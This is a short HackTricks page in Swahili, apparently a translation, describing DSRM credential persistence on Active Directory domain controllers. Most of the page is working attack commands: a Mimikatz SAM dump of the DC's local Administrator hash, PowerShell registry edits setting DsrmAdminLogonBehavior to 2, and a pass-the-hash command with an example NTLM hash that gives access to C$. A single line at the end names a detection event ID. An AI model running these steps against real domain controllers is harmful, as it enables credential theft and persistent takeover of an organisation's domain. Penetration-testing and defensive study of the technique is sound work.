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29 lines
1.9 KiB
Markdown
29 lines
1.9 KiB
Markdown
{{#include ../../banners/hacktricks-training.md}}
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# DSRM Credentials
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Kuna akaunti ya **meneja wa ndani** ndani ya kila **DC**. Ukiwa na haki za admin katika mashine hii unaweza kutumia mimikatz **kutoa hash ya Meneja wa ndani**. Kisha, kubadilisha rejista ili **kuamsha nenosiri hili** ili uweze kufikia kwa mbali mtumiaji huyu wa Meneja wa ndani.\
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Kwanza tunahitaji **kutoa** **hash** ya mtumiaji wa **Meneja wa ndani** ndani ya DC:
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```bash
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Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
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```
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Kisha tunahitaji kuangalia kama akaunti hiyo itafanya kazi, na ikiwa ufunguo wa rejista una thamani "0" au haupo unahitaji **kuweka kuwa "2"**:
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```bash
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Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior #Check if the key exists and get the value
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New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD #Create key with value "2" if it doesn't exist
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Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 #Change value to "2"
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```
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Kisha, ukitumia PTH unaweza **kuorodhesha maudhui ya C$ au hata kupata shell**. Kumbuka kwamba kwa kuunda kikao kipya cha powershell na hash hiyo kwenye kumbukumbu (kwa PTH) **"domain" inayotumika ni jina tu la mashine ya DC:**
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```bash
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sekurlsa::pth /domain:dc-host-name /user:Administrator /ntlm:b629ad5753f4c441e3af31c97fad8973 /run:powershell.exe
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#And in new spawned powershell you now can access via NTLM the content of C$
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ls \\dc-host-name\C$
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```
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Zaidi ya habari kuhusu hii katika: [https://adsecurity.org/?p=1714](https://adsecurity.org/?p=1714) na [https://adsecurity.org/?p=1785](https://adsecurity.org/?p=1785)
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## Kupunguza
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- Kitambulisho cha Tukio 4657 - Ukaguzi wa uundaji/mabadiliko ya `HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior`
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{{#include ../../banners/hacktricks-training.md}}
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